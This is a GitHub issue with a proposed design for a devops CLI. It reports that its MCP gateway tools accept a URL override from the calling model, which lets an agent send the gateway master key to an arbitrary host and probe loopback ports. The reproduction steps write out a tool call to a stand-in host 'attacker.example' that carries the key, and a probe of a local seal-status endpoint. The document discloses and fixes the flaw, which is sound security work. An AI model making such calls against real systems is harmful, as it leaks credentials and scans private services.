Repository navigation
Description
Problem Description
The MCP tools ai_gateway_status, ai_gateway_routes and ai_gateway_probe_backend are read-only tools (CONST_MCP_EXPOSURE_TABLE, src/devops_cli/config/constants.py:266-268). Each tool takes a URL override (gateway_url or backend_url) from the model that calls it. GatewayRouter uses the override in the same way as the configured URL. This causes two defects:
- Egress level. fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422 moves the gateway health probe, the backend probe and the gateway model query to the egress-checked factory at the configured level: loopback without
ai.allow_private_network, private with it. The override gets the same level. But the docstring ofEgressLevel.PUBLIC(src/devops_cli/http/egress.py) says that a URL that a model supplies dials at the public level. Before fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422,validate_url_egress(allow_private=False)refused a loopback override. After fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422, a tool argument reaches the loopback services of the host without the flag. - Credentials.
devops ai gateway routesgivesGatewayRouterthe AI API key (get_ai_api_key(settings), a copy of the gateway master key) atsrc/devops_cli/commands/ai_gateway.py:143, and passes the override at:145._query_model_info(src/devops_cli/ai/gateway.py:283-292) putsAuthorization: Bearer <ai api key>on the request to eachgateway_url. It does not compare the URL with the configured gateway. No egress level can stop this, because each level admits a public address.
Both defects have one cause: the URL override is input from the caller, but the router treats it as configuration. A review of #2422 found them.
Reproduction Steps
- Leave
ai.allow_private_networkunset, and set the AI API key. - Start the MCP server (
devops mcp serve), and callai_gateway_routes(gateway_url="https://attacker.example/v1"). - With fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422 merged, call
ai_gateway_probe_backend(backend="ollama", backend_url="http://127.0.0.1:8200/v1/sys/seal-status?x="). - In a test, install
scripted_resolverandrecord_connectsfromtests/web_fakes.py, run the two calls, and readrecorder.dialledandrecorder.written.
Expected vs Actual Behavior
Expected: a URL override from a caller dials at the level of a URL that a caller supplies, not at the configured level: public, or private when ai.allow_private_network is true, as before #2422. The request carries the AI API key only when the origin of the override is the origin of ai.gateway_url. If the tools do not need the override, a simpler fix is to remove gateway_url and backend_url from the MCP tools.
Actual:
- Step 2 sends
GET https://attacker.example/v1/model/infowithAuthorization: Bearer <ai api key>. This occurs onorigin/mainnow. - Step 3, after fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422, sends GET requests to
127.0.0.1:8200(/v1/sys/seal-status?x=/health, then?x=/v1/models). The tool returns the status, the latency, an error text of up to 256 characters and the parsed model names. Thus an agent can scan the loopback ports of the host and send GET requests to them. Before fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422, the same call raisedSSRFBlockedErrorand sent no request.
Environment Diagnostics
- DevOps CLI Version: 0.9.0 (
origin/main91fe5dc) - Python Version: 3.14.10
- OS & Architecture: Linux x86_64
- Execution Environment: DevContainer
Logs, Traces, or Terminal Output
src/devops_cli/config/constants.py:266: (("ai", "gateway", "probe-backend"), 30.0, True, True),
src/devops_cli/config/constants.py:267: (("ai", "gateway", "routes"), 30.0, True, True),
src/devops_cli/config/constants.py:268: (("ai", "gateway", "status"), 30.0, True, True),
src/devops_cli/commands/ai_gateway.py:143: router = GatewayRouter(settings.ai, provider=provider, api_key=get_ai_api_key(settings))
src/devops_cli/commands/ai_gateway.py:145: routes = router.list_routes(gateway_url or router.gateway_url)
src/devops_cli/ai/gateway.py:277: resp = http_client.get(f"{gateway_url}/model/info", headers=headers)
src/devops_cli/ai/gateway.py:290: headers = _sanitize_api_key_header(api_key)The MCP tool schema of ai_gateway_probe_backend has backend_url ("Optional backend base URL override."), and the schemas of ai_gateway_routes and ai_gateway_status have gateway_url ("Optional gateway base URL override.").
Related
- fix(ai): the ai service clients dial through the egress-checked factory, and their pre-flight address checks go #2422 sets the configured level for these clients. Its row
test_each_caller_dials_at_its_level[backend probe-without-flag]dials127.0.0.1for an override.
Pre-Submission Checklist
- I have verified that no sensitive credentials, private keys, or internal tokens are contained in this issue report.
- I have checked existing issues and pull requests to ensure this is not a duplicate.
Source: #2422
Proposed design
Problem statement
The MCP tools ai_gateway_status, ai_gateway_routes, and ai_gateway_probe_backend accept a URL override from the calling model. The override dials at the configured egress level instead of the public level. The AI API key is attached to requests to any override URL. An agent can exfiltrate the gateway master key to an arbitrary public URL. An agent can also scan loopback ports on the host. Both defects have one cause: the router treats a caller-supplied URL as configuration.
Acceptance criteria
- Criterion 1: The MCP tool schemas for
ai_gateway_status,ai_gateway_routes, andai_gateway_probe_backendhave nogateway_urlorbackend_urlparameter.
Verification: Rundevops mcp serveand inspect the tool schemas. The three tools have nogateway_urlorbackend_urlfield. - Criterion 2: The CLI commands
devops ai gateway status,devops ai gateway routes, anddevops ai gateway probe-backendstill accept their--gateway-urland--backend-urlflags.
Verification: Rundevops ai gateway status --helpanddevops ai gateway probe-backend --help. The flags are present in the help text. - Criterion 3: The AI API key is attached to a request only when the request URL origin matches the configured
ai.gateway_urlorigin.
Verification: In a test, setai.gateway_urlto one origin and call_query_model_infowith a different origin. The request has noAuthorizationheader. - Criterion 4: A test verifies that the MCP tools dial the configured gateway at the configured egress level.
Verification: Runuv run devops ci test tests/test_mcp.py. The test that checks the MCP gateway tools use the configured URL passes.
Key questions
- Should the MCP tools keep or remove the URL override parameters?: Remove
gateway_urlandbackend_urlfrom the MCP tool schemas. The tools query the configured gateway and backend. The CLI commands keep the flags for human use. (best practice) [sources: src/devops_cli/http/egress.py, src/devops_cli/config/constants.py:266-268]- Chosen: Remove the override from MCP tools. The tools do not need to dial arbitrary URLs. The EgressLevel.PUBLIC docstring states that level is for URLs a model supplies, but the tools only need the configured gateway. Removing the override eliminates both the egress and credential defects at once.
- Rejected: Keep the override and fix the egress level and credential attachment. More complex. The tools do not need to dial arbitrary URLs, so the added surface is not justified.
- Should the AI API key be attached to requests to non-configured gateway URLs?: No. Attach the key only when the request URL origin matches the configured
ai.gateway_urlorigin. This is defense in depth for the CLI path where a human can still type an override. (best practice) [sources: src/devops_cli/ai/gateway.py:283-292, src/devops_cli/commands/ai_gateway.py:143]- Rejected: Always attach the key to the gateway_url request. Allows credential exfiltration to any public URL. The current behavior is the defect.
- Chosen: Attach the key only when the origin matches the configured gateway. Prevents credential exfiltration while preserving the CLI path where a human types a known gateway URL.
- What egress level applies to the configured gateway URL in the MCP tools?: The configured level: loopback without
ai.allow_private_network, private with it. This is set byconfigured_level()insrc/devops_cli/http/egress.py. [sources: src/devops_cli/http/egress.py]
Fit
Fits in one pull request.
Suspected block
None.
Dependencies
None.
Activity
dan-petty commentedon Oct 28, 2026
Intake placed this item to the backlog: intake puts every new item in the backlog. A person plans the milestones.
The candidate reports an SSRF and credential-exfiltration defect in MCP tool URL overrides.An agent can exfiltrate the AI API key to any public URL and scan loopback ports on the host.This is a live security hole that leaks the gateway master key and enables local port scanning.The fix is to apply the correct egress level, compare origins before attaching the key, or remove the override parameters.Both deal with the AI API key in gateway route queries, but #469 fixes the key not being sent at all while the candidate fixes the key being sent to an untrusted caller-supplied URL.fix(ai): the AI service clients dial through the egress-checked facto…
devops-cli-service commentedon Oct 28, 2026
Status set to Ready at 002d645 (see proposed design in issue body).
chore(main): release 0.16.1 (#2642)
fix(ai): the MCP prewarm tool takes no URL from the model (#2677)
fix(ai): the MCP benchmark tool takes no server URL (#2707)